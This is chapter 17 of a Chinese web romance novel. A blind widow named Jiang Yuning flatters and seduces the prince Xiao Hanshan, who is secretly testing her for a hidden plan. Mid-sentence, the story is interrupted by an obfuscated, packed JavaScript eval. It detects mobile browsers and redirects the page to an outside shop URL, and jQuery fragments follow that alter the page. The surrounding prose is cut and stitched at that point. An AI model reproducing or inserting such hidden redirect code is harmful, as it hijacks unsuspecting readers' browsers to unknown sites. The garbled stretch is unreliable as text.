17. 第 17 章

作品:《守寡守成了媚姬

    这些日子被好生伺候着,又得了萧寒山送的发簪,难免有些放松,意识到自己说错话,脸瞬间惨白。


    看不见周围人看自己的眼神,姜予宁绞尽脑汁,飞快想到怎么圆。


    “妾说的是萧大哥。”她的语气还有几分慌张,强行镇定,刚才说晏大哥的声音很小,萧寒山应该没有听清,只要自己咬死说的不是晏大哥,就不会被发现。


    “在妾家乡那边,为表示亲近,会在姓氏后加上大哥,妾方才喊的是萧大哥。”


    这时突然觉得眼睛看不见也是好事,眼纱戴着,没人看出她在紧张。


    男人看着她闭眼说瞎话,笑意敛去,没有接她的话,“孤还以为阿宁在想旁人呢。”


    姜予宁心口一跳,连忙道:“妾只是在惊讶公子会叫妾来一起用膳,很是惊讶。”


    萧寒山不咸不淡地哦了一声,掀袍坐下,扫过她发髻,眉梢微蹙,语气似有不满:“阿宁今日怎的未戴孤赠与你的发簪?”


    姜予宁扬起笑道:“这是公子赠与妾的礼物,妾很喜欢,舍不得戴,收起来了。”


    “既是赠与阿宁的,阿宁便戴上,不必心疼,孤还会挑选不一样的首饰赠与你,首饰么,当是戴在阿宁身上,才好看。”


    姜予宁被这句话说得喜滋滋的,点了头说好,等回去就戴上。


    男人随口应了一句,朝婢女挥手示意,婢女过来搀扶着姜予宁坐下。


    “阿宁尝尝,这是银耳莲子粥。”


    婢女将碗端到姜予宁手中,姜予宁立即说了句她自己来,捏紧调羹,慢条斯理地咽下去一口。


    入口细腻绵柔,甜味不浓,很是爽口,她惊叹一声,“味道很好。”


    男人满意地笑了,视线从她水润的唇上移开,落到自己面前的粥上,舀了一口喝下,微微蹙眉。


    味道一般,不甜。


    再一看女子,分明味道一般,却吃得格外香甜,骗人的本事倒是不小。


    萧寒山用膳时不喜出声,未再开口,姜予宁察觉到,没再说话,提起的心渐渐落下去。


    幸好自己脑筋转得快,成功圆过去,否则若是被发现,后果不堪设想。


    她静静喝完粥,婢女又端来点心给她,她又不敢拒绝,只好吃下去。


    过了会,萧寒山抬手叫婢女将他面前的碗撤下,看着姜予宁吃。


    女子动作幅度很小,姿态优雅,起来的确赏心悦目,怪不得会受那么多人追捧。


    男人的目光存在感太强,姜予宁动作越来越僵硬,一直举着胳膊,身子酸得很,刚想找借口不吃了,就听萧寒山让她慢慢吃,他要去处理公务。


    姜予宁本想说陪着他一起,下意识要把碗放回去,看不见桌面,险些摔了碗,还是婢女及时接住。


    这么一耽搁,人早就走远了。


    婢女收拾桌面,姜予宁被惊夏搀扶着往回走,路上她一边走,一边暗自计算着步数调转方向,次次都与惊夏的步伐对上。


    姜予宁不由得欢喜起来,自己已经记住了去望鹤苑的路,下次即使无人带着,她也能自己去。


    回到房间里,她自己拆了眼纱,叠起来放到枕边,没有给惊夏。


    “我自己歇歇,你忙吧。”


    惊夏点了头,让她有事就唤她。


    姜予宁在她走出房间前叫住她,让她将萧寒山送的发簪为自己插入发间。萧寒山都那么说了,那她就得好好戴上。


    摸着发簪,脸上笑容加深。


    短短一月,萧寒山不仅带她来了京城,为她罚了不听话的婢女,还送了发簪,若是她再加把力,也不是不能得到他的心。


    她靠在床栏上,再次尝试睁眼,还是有些疼,眼前一片漆黑。


    只要好好养眼睛,待眼睛一好,她有的是法子让萧寒山沦陷在自己的美貌之下。


    天底下的男人都一样,见到美色,谁能忍得住。


    姜予宁已经开始设想以后的日子,越想,越期待。


    不过半月过去,萧寒山都只来过一回,还是那日她险些弄丢发簪才来的。


    那日天气好,想着到处逛逛,谁知簪子掉了,惊夏沿着走过的路找了许久都未曾找到,只得去找萧寒山帮忙。


    小厮将别院翻了个底朝天才找着,婢女擦干净污泥,萧寒山亲手帮她戴上。


    那时他虽然未责怪,说让她以后小心些,莫要再掉了,姜予宁却觉得莫名的害怕,之后万分小心,不敢再弄丢。


    自那以后便再未见过萧寒山,他也不会主动来西院更没有再叫她一同用膳。


    姜予宁觉得他是在生自己的气,认为她将发簪弄丢是不在乎他送的礼物,想了好几日要怎么哄他,最终发现自己根本不知他爱好,无从下手。


    思来想去,只好拿出上次他许下的诺言,一月至少要来她这两次。


    问了惊夏,这月还有两日便要过去,而萧寒山只来了一次,她现在让他来西院,也不算无理取闹。


    惊夏将她的话带到望鹤苑,在院外被拦住,“主子正在议事,有何事请晚些时候再来。”


    惊夏没有回去,在一旁等着,半个时辰后门开了,她低着头,目不斜视,等那些从书房里出来的人离开,侍卫才带着她进去。


    男人松了松肩膀,听完惊夏的话,发觉确实许久未见姜予宁。


    他确实存了故意晾着姜予宁的心思,太纵容她,不好掌控。


    现在也该去见见她了。


    男人挥手,惊夏退出书房,他去了卧房换了衣衫,这才慢悠悠朝西院而去。


    知道萧寒山要来,姜予宁立刻做好准备,紧张问惊夏:“我的发簪还在吗?”


    惊夏笑道:“在的,姑娘不用担心。”


    姜予宁如何能不担心,想到自己接下来要做的事,一阵懊恼,当时就该仔细些,这次定要仔细再仔细!


    “主子。”


    惊夏一声唤,姜予宁立刻绷紧身子,不知萧寒山在何处,转了身子,茫然朝着一侧不动。


    “下去罢。”


    惊夏说了是,随后退下,男人一步步靠近床上坐着的女子,看到她眼睛还是闭着的,勾了唇角,声音夹杂几分愉悦:“这几日孤一直忙于公务,没时间来看阿宁,阿宁久等了。”


    姜予宁哪能怪他,当即说没事,面向声音响起的方向,扬起笑:“妾不急,公子忙公务要紧,若是公务还未忙完,妾还可以等的。”


    实际上她等不了,知道他是忙公务稍稍松了口气,不是把她忘了就好。


    她想了想,又说:“若是公子需要,妾现在为公子捏捏肩,虽然无法帮到忙,至少也能让公子放松放松。”


    “哦?”男人惊讶,并未拒绝,“那就麻烦阿宁了。”


    姜予宁没想到他真的答应了,稍一愣神,连忙道:“那请公子坐在妾身侧,妾看不见,可能需要公子帮忙,公子不会觉得妾这样很麻烦吧?”


    深沉的眸光定格在她身侧位置,萧寒山话里带着笑意,面上却无表情,“孤怎么会觉得麻烦。”


    他径直走过去,在她身侧坐下,缕缕幽香萦绕,屏息不闻,问她:“阿宁要孤帮你什么?”


    姜予宁笑了笑,说:“妾不知公子的肩膀在何处,还请公子帮妾把妾的手搭在公子肩上。”


    很简单的要求,萧寒山拎着她手腕搭在自己肩头,背对着她。


    姜予宁笑容加深,双手微微用力,轻柔地捏着萧寒山的肩膀,只是力道太轻,男人的肩膀硬得像石头,捏着捏着,男人还没觉得轻松,她自己倒是觉得手酸,却又不想说累,硬着头皮继续捏。


    萧寒山只觉得自己肩头被猫儿轻轻碰了几下,一点疲倦没缓解,身子更加紧绷。


    她见捏肩不行,动了别的心思,稍稍贴近他后背,捏肩膀的手缓缓往下,穿过衣襟,抚上他胸膛,还未用力,被男人一把禁锢。


    粗糙的指腹摸索她手背,刚握住力道没收着,险些捏断她的骨头,等她痛呼出声,他才松了些。


    “阿宁不是要为孤揉肩吗,怎么碰来了这。”


    姜予宁没抽动手,红着脸,小声说:“妾力气太小,捏不动,想帮公子松松旁的地方。”


    肩膀没松成,叫他身子更紧绷了。


    “捏肩便捏肩,旁的地方,阿宁不该乱碰。”男人的声音添了几分沙哑,将她乱动的手放回肩头,没再说话。


    姜予宁一颗心怦怦乱跳,不是没行过云雨之欢,男人的话一听便知他是有了反应,心下一喜,知道自己的法子管用,没再动手。


    男人果然都是一样的,这个法子在楼晏那管用,在萧寒山这也管用。


    她忍着内心激动,手上力道加重几分,即使在男人看来,一丁点力气都没有。


    姜予宁实在是忍不住手酸,揉了一会,低声说:“妾的手有些累,今日先到这?”


    萧寒山笑她,“阿宁不是说要为孤松松肩膀,孤还未觉得有所松缓,阿宁倒是先累起来了。”


    姜予宁也不想的,谁知道他肩膀这么硬,都快与常年习武的楼晏有的一拼。


    “那下次,”她立刻改口道:“明日妾再来帮公子捏肩?”


    男人笑着说了好。


    目的已经达成,剩下的便是和男人拉近关系,她想了想,试探道:“公子会一直在此处吗?”


    话音刚落,萧寒山面上笑意消失,无声地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690554|188704||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    转身看她,在她紧张的状态中察觉到她话里暗藏的意思。


    如果他要走,她就会想办法缠着他,或是提前为自己做准备,在他离开别院后另寻栖身之所。


    那可不行,救她回来,可不是被她当做跳脚攀附他人的。


    “孤暂时会歇在此处,不会抛下你不管。”多的他没有说,比如他回东宫要怎么安排她,比如他继位后,会不会纳她为妃。


    姜予宁只要得到这个承诺,其余的日后再说。


    她在心中缓缓笑出来,面上却露出难受的表情,扶着自己的眼睛问男人:“公子帮妾看看眼睛可好,妾这几日都在尝试睁眼,可总是会觉得疼,又看不见镜子,心里怕得紧。”


    萧寒山心情还算不错,应了她这个要求,捏着她的下颔,将她左脸偏向自己,微微俯身,指腹按在她眼尾伤疤上,力道不算重,她却发出痛呼,“公子,疼……”


    萧寒山松了手,瞥过她眼尾,真是娇弱。


    “并无异样。”他站起身,扫视四周,在她枕边看到叠好的眼纱,神色微动,忽而道:“若是阿宁在屋内待着觉得无趣,可自行到处走走,孤最近事务繁忙,许是无法来西院看阿宁。”


    他每说一句,姜予宁心中更是惊喜一分。


    “阿宁若是想见孤,直接来望鹤苑便是,孤不会拦你。”


    姜予宁没想到这次会如此的顺利,当即站起身,动作太猛,不小心磕到脑袋,这次是真的磕疼。


    她下意识要往男人那靠,撒娇的话张口就来:“妾这好疼。”


    下一瞬被磕到的地方覆上一只手,轻轻揉搓,男人关心的话响起,“阿宁怎的这么不小心。”


    姜予宁顺势往他怀里倒,声音柔媚,“妾是听到公子的话太过激动,所以才不小心撞到。”


    萧寒山没把她的话放在心上,揉了会,推开她,道:“阿宁该仔细着,撞到眼睛可不好。”


    姜予宁点了头,还想说些什么,男人却要走了,她只好说明日再去见他,只得到一句“孤等着阿宁”,男人离开。


    惊夏进来时,姜予宁正坐在桌旁,正在饮茶。


    这些日子过去,她已经能自己倒茶穿衣,甚至不用扶都可以出房间,在院子里转转,可谓是很熟悉西院。


    推她的婢女被罚后,剩下的婢女也被她找了个由头支走,现在惊夏一个人伺候她,反倒没有之前那么累。


    “姑娘今日还要晒阳吗?”


    姜予宁摇了头,目的已经达成,还要晒什么太阳,况且这几日降温,外头冷了很多,干嘛还要出去吹冷风。


    “惊夏,你来跟我说说京城的趣事吧,我从未来过京城,想听听。”


    惊夏犹豫片刻,答应了。


    姜予宁听了一下午的逸闻轶事,偶尔被那些个离谱的事逗笑,掩唇笑得听不着。


    夜晚到来,她歇下后,惊夏照例去望鹤苑向萧寒山禀告姜予宁今日都做了什么,说到姜予宁要求她说那些事时,她话音一顿,全都说了出来。


    萧寒山没什么反应,叮嘱了句:“她若是问起皇室朝臣,不要说。”


    惊夏跪地领命,“奴婢不会透露半句。”


    萧寒山挥了手,惊夏退下。


    烛火摇曳的书房内,男人的影子投射在墙面,漆黑宽大,能将人吞噬。


    “过去这么久,恢复得也差不多了,是时候该让他见一见。”


    两指捏起方才写下墨字的纸,落在烛灯上,“即墨”二字被暖黄的烛光透过,煞是显眼。


    “你该是会很喜欢孤给你准备的礼物。”


    萧寒山缓缓笑出来,“届时你要怎么感谢孤呢。”


    寂静的夜晚过去,西院走出一人,惊夏跟在姜予宁身后,怕她摔倒,双手一直伸着,只要她有一丁点要摔倒的苗头,就去扶她。


    姜予宁走得很慢,但每一步都很稳,惊夏的担心是多余的。


    待姜予宁成功走到望鹤苑,侍卫问都没问,直接放她进去。


    惊夏虽是不懂主子这么做的缘由,但不该问的,她不会问,更不会说出去。


    姜予宁一路走到书房,男人正在那看密函,见她来,不动声色地合上密函,等着她走过来。


    看到她没有让惊夏扶,诧异道:“阿宁是自己走来的?”


    姜予宁点了头,话里不由得多了要夸赞的意思,“妾不用惊夏扶也能来公子这。”


    男人看她的眼神里带了笑意,“阿宁果然厉害。”


    如此,他便不用担心自己的计划不能成。


    姜予宁,你确实很是聪明。


    聪明到孤已经迫不及待想看到他见到你时的表情,他该是很欢喜吧。